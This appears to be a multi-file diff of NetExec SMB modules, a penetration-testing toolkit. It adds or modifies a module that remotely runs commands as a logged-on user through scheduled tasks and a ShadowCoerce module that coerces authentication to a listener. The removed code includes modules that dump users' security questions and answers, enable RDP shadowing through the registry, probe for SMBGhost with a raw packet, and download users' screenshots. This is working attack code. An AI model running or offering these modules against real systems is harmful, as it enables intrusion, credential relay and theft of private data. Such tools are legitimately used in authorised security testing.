sid_raw = bytes(result[0][1][0][1].components[0])
return ldaptypes.LDAP_SID(data=sid_raw).formatCanonical()
+39 -77
View File
@@ -1,7 +1,6 @@
import contextlib
import os
from time import sleep
from datetime import datetime, timedelta
from datetime import datetime
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
@@ -16,29 +15,17 @@ class NXCModule:
"""
def options(self, context, module_options):
r"""
"""
CMD Command to execute
USER User to execute command as
TASK OPTIONAL: Set a name for the scheduled task name
FILE OPTIONAL: Set a name for the command output file
LOCATION OPTIONAL: Set a location for the command output file (e.g. '\tmp\')
"""
self.cmd = self.user = self.task = self.file = self.location = self.time = None
self.cmd = self.user = self.time = None
if "CMD" in module_options:
self.cmd = module_options["CMD"]
if "USER" in module_options:
self.user = module_options["USER"]
if "TASK" in module_options:
self.task = module_options["TASK"]
if "FILE" in module_options:
self.file = module_options["FILE"]
if "LOCATION" in module_options:
self.location = module_options["LOCATION"]
name = "schtask_as"
description = "Remotely execute a scheduled task as a logged on user"
supported_protocols = ["smb"]
@@ -64,9 +51,6 @@ class NXCModule:
connection.domain,
self.user,
self.cmd,
self.file,
self.task,
self.location,
connection.kerberos,
connection.aesKey,
connection.host,
@@ -92,14 +76,10 @@ class NXCModule:
except Exception as e:
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
with contextlib.suppress(Exception):
exec_method.deleteartifact()
else:
self.logger.fail(f"Failed to execute command: {e}")
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, user, cmd, file, task, location, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -119,9 +99,6 @@ class TSCH_EXEC:
self.logger = logger
self.cmd = cmd
self.user = user
self.file = file
self.task = task
self.location = location
if hashes is not None:
if hashes.find(":") != -1:
@@ -148,18 +125,6 @@ class TSCH_EXEC:
)
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
def deleteartifact(self):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
self.logger.display(f"Deleting task \\{self.task}")
tsch.hSchRpcDelete(dce, f"\\{self.task}")
dce.disconnect()
def execute(self, command, output=False):
self.__retOutput = output
self.execute_handler(command)
@@ -168,20 +133,24 @@ class TSCH_EXEC:
def output_callback(self, data):
self.__outputBuffer = data
def get_end_boundary(self):
# Get current date and time + 5 minutes
end_boundary = datetime.now() + timedelta(minutes=5)
def get_current_date(self):
# Get current date and time
now = datetime.now()
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
def gen_xml(self, command, fileless=False):
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<RegistrationTrigger>
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
</RegistrationTrigger>
<CalendarTrigger>
<StartBoundary>{self.get_current_date()}</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
@@ -212,11 +181,7 @@ class TSCH_EXEC:
<Command>cmd.exe</Command>
"""
if self.__retOutput:
fileLocation = "\\Windows\\Temp\\" if self.location is None else self.location
if self.file is None:
self.__output_filename = os.path.join(fileLocation, gen_random_string(6))
else:
self.__output_filename = os.path.join(fileLocation, self.file)
self.__output_filename = f"\\Windows\\Temp\\{gen_random_string(6)}"
if fileless:
local_ip = self.__rpctransport.get_socket().getsockname()[0]
argument_xml = f" <Arguments>/C {command} &gt; \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2&gt;&amp;1</Arguments>"
@@ -237,58 +202,55 @@ class TSCH_EXEC:
def execute_handler(self, command, fileless=False):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
# Give self.task a random string as name if not already specified
self.task = gen_random_string(8) if self.task is None else self.task
tmpName = gen_random_string(8)
xml = self.gen_xml(command, fileless)
self.logger.info(f"Task XML: {xml}")
self.logger.info(f"Creating task \\{self.task}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
try:
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
if "ERROR_NONE_MAPPED" in str(e):
self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Create schedule task got blocked.")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
if e.error_code and hex(e.error_code) == "0x80070005":
self.logger.fail("Schtask_as: Create schedule task got blocked.")
if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e):
self.logger.fail(f"User {self.user} does not exist in the domain.")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
elif "ERROR_ALREADY_EXISTS" in str(e):
self.logger.fail(f"Create schedule task failed: {e}")
else:
self.logger.fail(f"Create schedule task failed: {e}")
with contextlib.suppress(Exception):
tsch.hSchRpcDelete(dce, f"\\{self.task}")
self.logger.fail(f"Schtask_as: Create schedule task failed: {e}")
return
else:
taskCreated = True
self.logger.info(f"Running task \\{tmpName}")
tsch.hSchRpcRun(dce, f"\\{tmpName}")
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}")
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
self.logger.info(f"Deleting task \\{self.task}")
tsch.hSchRpcDelete(dce, f"\\{self.task}")
self.logger.info(f"Deleting task \\{tmpName}")
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
taskCreated = False
if taskCreated is True:
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
if self.__retOutput:
if fileless:
-134
View File
@@ -1,134 +0,0 @@
from impacket.dcerpc.v5 import samr, transport
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5.rpcrt import DCERPCException
from json import loads
from traceback import format_exc as traceback_format_exc
class NXCModule:
"""
Module by Adamkadaban: @Adamkadaban
Based on research from @0gtweet (@gtworek)
Much of this code was copied from add_computer.py
Reference: https://hackback.zip/2024/05/08/Remotely-Dumping-Windows-Security-Questions-With-Impacket.html
"""
name = "security-questions"
description = "Gets security questions and answers for users on computer"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module):
pass
def on_admin_login(self, context, connection):
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.hostname + "." + connection.domain
self.__target = self.__kdcHost
self.__username = connection.username
self.__password = connection.password
self.__targetIp = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.getSAMRResetInfo(context)
def getSAMRResetInfo(self, context):
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(445)
rpc_transport.setRemoteHost(self.__targetIp)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
# obtain server handle for samr connection
resp = samr.hSamrConnect(dce)
server_handle = resp["ServerHandle"]
resp = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)
domains = resp["Buffer"]["Buffer"]
resp = samr.hSamrLookupDomainInSamServer(dce, server_handle, domains[0]["Name"])
# obtain domain handle for samr connection
resp = samr.hSamrOpenDomain(dce, serverHandle=server_handle, domainId=resp["DomainId"])
domain_handle = resp["DomainHandle"]
status = STATUS_MORE_ENTRIES
enumeration_context = 0
# try to iterate through users in domain entries for connection
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, enumerationContext=enumeration_context)
except DCERPCException as e:
if str(e).find("STATUS_MORE_ENTRIES") < 0:
raise
resp = e.get_packet()
for user in resp["Buffer"]["Buffer"]:
try:
context.log.info(f"Querying security questions for User: {user['Name']}")
# request SAMR ID 30
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6
r = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
info = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserResetInformation)
reset_data = info["Buffer"]["Reset"]["ResetData"]
if reset_data == b"":
continue
reset_data = loads(reset_data)
questions = reset_data["questions"]
if len(questions) == 0:
context.log.highlight(f"User {user['Name']} has no security questions")
else:
for qna in questions:
question = qna["question"]
answer = qna["answer"]
context.log.highlight(f"{user['Name']} - {question}: {answer}")
samr.hSamrCloseHandle(dce, r["UserHandle"])
except samr.DCERPCException as e:
if "STATUS_INVALID_INFO_CLASS" in str(e):
context.log.debug(f"Failed to query security questions for User: {user['Name']}: {e!s}")
continue
else:
context.log.fail(f"Failed to query security questions for User: {user['Name']}: {e!s}")
context.log.debug(traceback_format_exc())
enumeration_context = resp["EnumerationContext"]
status = resp["ErrorCode"]
except Exception as e:
context.log.fail(f"Error: {e}")
context.log.debug(traceback_format_exc())
finally:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
dce.disconnect()
+259 -2
View File
@@ -1,6 +1,22 @@
import time
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import (
RPC_C_AUTHN_WINNT,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_GSS_NEGOTIATE,
)
from impacket.smbconnection import SessionError
from nxc.logger import nxc_logger
class NXCModule:
name = "shadowcoerce"
description = "[REMOVED] Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
description = "Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -19,4 +35,245 @@ class NXCModule:
self.ipsc = bool(module_options["IPSC"])
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
c = CoerceAuth()
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe="FssagentRpc",
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
remoteHost=connection.host,
)
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
if dce == 1:
context.log.debug("First try failed. Creating another dce connection...")
# Sleeping mandatory for second try
time.sleep(2)
dce = c.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe="FssagentRpc",
remoteHost=connection.host,
)
if self.ipsc:
context.log.debug("ipsc = %s", self.ipsc)
context.log.debug("Using IsPathShadowCopied!")
result = c.IsPathShadowCopied(dce, self.listener)
else:
context.log.debug("ipsc = %s", self.ipsc)
context.log.debug("Using the default IsPathSupported")
result = c.IsPathSupported(dce, self.listener)
try:
dce.disconnect()
except SessionError as e:
context.log.debug(f"Error disconnecting DCE session: {e}")
if result:
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/ShutdownRepo/ShadowCoerce")
else:
context.log.debug("Target not vulnerable to ShadowCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
error_messages = system_errors.ERROR_MESSAGES
error_messages.update(MSFSRVP_ERROR_CODES)
if key in error_messages:
error_msg_short = error_messages[key][0]
error_msg_verbose = error_messages[key][1]
return f"SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# Error Codes
################################################################################
MSFSRVP_ERROR_CODES = {
0x80070005: (
"E_ACCESSDENIED",
"The caller does not have the permissions to perform the operation",
),
0x80070057: ("E_INVALIDARG", "One or more arguments are invalid."),
0x80042301: (
"FSRVP_E_BAD_STATE",
"A method call was invalid because of the state of the server.",
),
0x80042316: (
"FSRVP_E_SHADOW_COPY_SET_IN_PROGRESS",
"A call was made to either SetContext (Opnum 1) or StartShadowCopySet (Opnum 2) while the creation of another shadow copy set is in progress.",
),
0x8004230C: (
"FSRVP_E_NOT_SUPPORTED",
"The file store that contains the share to be shadow copied is not supported by the server.",
),
0x00000102: (
"FSRVP_E_WAIT_TIMEOUT",
"The wait for a shadow copy commit or expose operation has timed out.",
),
0xFFFFFFFF: (
"FSRVP_E_WAIT_FAILED",
"The wait for a shadow copy commit expose operation has failed.",
),
0x8004230D: (
"FSRVP_E_OBJECT_ALREADY_EXISTS",
"The specified object already exists.",
),
0x80042308: ("FSRVP_E_OBJECT_NOT_FOUND", "The specified object does not exist."),
0x8004231B: (
"FSRVP_E_UNSUPPORTED_CONTEXT",
"The specified context value is invalid.",
),
0x80042501: (
"FSRVP_E_SHADOWCOPYSET_ID_MISMATCH",
"The provided ShadowCopySetId does not exist.",
),
}
################################################################################
# RPC CALLS
################################################################################
class IsPathSupported(NDRCALL):
opnum = 8
structure = (("ShareName", WSTR),)
class IsPathSupportedResponse(NDRCALL):
structure = (
("SupportedByThisProvider", BOOL),
("OwnerMachineName", LPWSTR),
)
class IsPathShadowCopied(NDRCALL):
opnum = 9
structure = (("ShareName", WSTR),)
class IsPathShadowCopiedResponse(NDRCALL):
structure = (
("ShadowCopyPresent", BOOL),
("ShadowCopyCompatibility", LONG),
)
OPNUMS = {
8: (IsPathSupported, IsPathSupportedResponse),
9: (IsPathShadowCopied, IsPathShadowCopiedResponse),
}
class CoerceAuth:
def connect(
self,
username,
password,
domain,
lmhash,
nthash,
aesKey,
target,
pipe,
doKerberos,
dcHost,
remoteHost,
):
binding_params = {
"FssagentRpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\FssagentRpc]" % target,
"UUID": ("a8e0653c-2744-4389-a61d-7373df8b2292", "1.0"),
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
dce = rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.info(f"Connecting to {binding_params[pipe]['stringBinding']}")
try:
dce.connect()
except Exception as e:
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @ShutdownRepo
if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0:
dce.disconnect()
return 1
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
nxc_logger.info("Connected!")
nxc_logger.info(f"Binding to {binding_params[pipe]['UUID'][0]}")
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"]))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
nxc_logger.info("Successfully bound!")
return dce
def IsPathShadowCopied(self, dce, listener):
nxc_logger.debug("Sending IsPathShadowCopied!")
try:
request = IsPathShadowCopied()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
nxc_logger.debug("Attack may of may not have worked, check your listener...")
return False
return True
def IsPathSupported(self, dce, listener):
nxc_logger.debug("Sending IsPathSupported!")
try:
request = IsPathSupported()
# only NETLOGON and SYSVOL were detected working here
# setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED)
request["ShareName"] = f"\\\\{listener}\\NETLOGON\x00"
dce.request(request)
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s", str(e))
nxc_logger.debug("Attack may of may not have worked, check your listener...")
return False
return True
-83
View File
@@ -1,83 +0,0 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
# Module by @Defte_
# Enables or disables shadow RDP
class NXCModule:
name = "shadowrdp"
description = "Enables or disables shadow RDP"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.action = None
def options(self, context, module_options):
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
exit(1)
if module_options["ACTION"].lower() not in ["enable", "disable"]:
context.log.fail("ACTION must be either enable, disable or query")
exit(1)
self.action = module_options["ACTION"].lower()
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
keyHandle = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\"
)["phkResult"]
# Checks if the key already exists or not
try:
rrp.hBaseRegQueryValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00"
)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
context.log.debug("here")
ans = rrp.hBaseRegCreateKey(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00")
# Disable remote UAC
if self.action == "disable":
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00",
rrp.REG_DWORD,
0
)
context.log.highlight("Shadow RDP disabled")
# Enable remote UAC
if self.action == "enable":
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
"Shadow\x00",
rrp.REG_DWORD,
2
)
context.log.highlight("Shadow RDP with full access enabled")
except Exception as e:
context.log.debug(f"Error {e}")
finally:
remoteOps.finish()
-58
View File
@@ -1,58 +0,0 @@
# everything is comming from https://github.com/ly4k/SMBGhost
# credit to @ly4k_
# module by : @r4vanan
import socket
import struct
# Constants
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
# SMBGhost Packet
SMBGHOST_PKT = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
class NXCModule:
name = "smbghost"
description = "Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796)."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
# Define options if needed
pass
def on_login(self, context, connection):
self.context = context
if self.perform_attack(connection.host):
self.context.log.highlight("Potentially vulnerable to SMBGhost (CVE-2020-0796)")
def perform_attack(self, target_ip):
self.context.log.debug("Performing SMBGhost check...")
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.settimeout(5)
sock.connect((target_ip, 445))
sock.send(SMBGHOST_PKT)
# Receive the first 4 bytes for length
nb_data = sock.recv(4)
if len(nb_data) < 4:
self.context.log.debug(f"{target_ip} Connection closed unexpectedly.")
return False
nb, = struct.unpack(">I", nb_data)
res = sock.recv(nb)
# Check response for vulnerability
if res[68:70] == b"\x11\x03" and res[70:72] == b"\x02\x00":
return True
else:
self.context.log.debug(f"{target_ip} Not vulnerable.")
return False
except Exception as e:
self.context.log.fail(f"Error while connecting to host: {e}")
return False
-134
View File
@@ -1,134 +0,0 @@
import ntpath
import os
from os.path import join, getsize, exists
from nxc.paths import NXC_PATH
class NXCModule:
name = "snipped"
description = "Downloads screenshots taken by the (new) Snipping Tool."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.excluded_files = ["desktop.ini"]
def options(self, context, module_options):
"""USERS: Download only specified user(s); format: -o USERS=user1,user2,user3"""
self.context = context
self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = "C$"
output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots")
os.makedirs(output_base_dir, exist_ok=True)
context.log.info("Getting all user folders")
try:
user_folders = connection.conn.listPath(self.share, "\\Users\\*")
except Exception as e:
context.log.fail(f"Failed to list user folders: {e}")
return
context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}")
if not user_folders:
context.log.fail("No User folders found!")
return
else:
context.log.info("Attempting to download screenshots if they exist.")
total_files_downloaded = 0
host_output_path = None
for user_folder in user_folders:
folder_name = user_folder.get_longname()
if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]:
normalized_name = folder_name.lower()
if self.users and normalized_name not in self.users:
continue
context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory")
screenshots_folders = self.find_screenshots_folders(folder_name)
if not screenshots_folders:
context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.")
continue
for screenshot_path in screenshots_folders:
try:
screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*")
except Exception as e:
context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
continue
if not screenshot_files:
context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
continue
user_output_dir = join(output_base_dir, connection.host)
os.makedirs(user_output_dir, exist_ok=True)
host_output_path = user_output_dir
for file in screenshot_files:
if not file.is_directory():
remote_file_name = file.get_longname()
if remote_file_name.lower() in self.excluded_files:
context.log.debug(f"Excluding file {remote_file_name}.")
continue
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_")
local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}"
local_file_path = join(user_output_dir, local_file_name)
try:
with open(local_file_path, "wb") as local_file:
context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
connection.conn.getFile(self.share, remote_file_path, local_file.write)
if not exists(local_file_path):
context.log.fail(f"Downloaded file '{local_file_path}' does not exist.")
continue
file_size = getsize(local_file_path)
if file_size == 0:
context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.")
os.remove(local_file_path)
else:
total_files_downloaded += 1
except Exception as e:
context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}")
if total_files_downloaded > 0 and host_output_path:
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
def find_screenshots_folders(self, user_folder_name):
"""
Dynamically searches for all Screenshots folders in the user's home directory.
Returns a list of paths.
"""
base_path = ntpath.normpath(join(r"Users", user_folder_name))
screenshots_folders = []
try:
subfolders = self.connection.conn.listPath(self.share, base_path + "\\*")
for subfolder in subfolders:
if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]:
potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots")
try:
if self.connection.conn.listPath(self.share, potential_path + "\\*"):
screenshots_folders.append(potential_path)
except Exception:
continue
except Exception as e:
self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}")
return screenshots_folders
+21 -19
View File
@@ -3,11 +3,11 @@ import errno
from os.path import abspath, join, split, exists, splitext, getsize, sep
from os import makedirs, remove, stat
import time
from nxc.paths import NXC_PATH
import traceback
from nxc.paths import TMP_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
from impacket.smbconnection import SessionError
from impacket.nmb import NetBIOSTimeout
CHUNK_SIZE = 4096
@@ -117,16 +117,18 @@ class SMBSpiderPlus:
filelist = self.smb.conn.listPath(share, subfolder + "*")
except SessionError as e:
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".')
self.logger.debug(str(e))
if "STATUS_ACCESS_DENIED" in str(e):
self.logger.debug(f'Cannot list files in folder "{subfolder}".')
elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
self.logger.debug(f"The folder {subfolder} does not exist.")
elif self.reconnect():
filelist = self.list_path(share, subfolder)
except NetBIOSTimeout as e:
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
return filelist
def get_remote_file(self, share, path):
@@ -157,15 +159,15 @@ class SMBSpiderPlus:
remote_file.__smbConnection = self.smb.conn
return self.read_chunk(remote_file)
except Exception as e:
self.logger.exception(e)
except Exception:
traceback.print_exc()
break
return chunk
def get_file_save_path(self, remote_file):
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system.
The folder path and filename are then obtained separately.
"""
@@ -212,13 +214,13 @@ class SMBSpiderPlus:
# Start the spider at the root of the share folder
self.results[share_name] = {}
self.spider_folder(share_name, "")
except (SessionError, NetBIOSTimeout) as e:
self.logger.exception(e)
self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}")
except SessionError:
traceback.print_exc()
self.logger.fail("Got a session error while spidering.")
self.reconnect()
except Exception as e:
self.logger.exception(e)
traceback.print_exc()
self.logger.fail(f"Error enumerating shares: {e!s}")
# Save the metadata.
@@ -253,7 +255,7 @@ class SMBSpiderPlus:
# Check file-dir exclusion filter.
if any(d in next_filedir.lower() for d in self.exclude_filter):
self.logger.info(f'The {result_type} "{next_filedir}" has been excluded')
self.stats[f"num_{result_type}s_filtered"] += 1
self.stats[f"{result_type}s_filtered"] += 1
continue
if result_type == "folder":
@@ -285,9 +287,8 @@ class SMBSpiderPlus:
# Check file extension filter.
_, file_extension = splitext(file_path)
if file_extension:
file_extension = file_extension.lstrip(".")
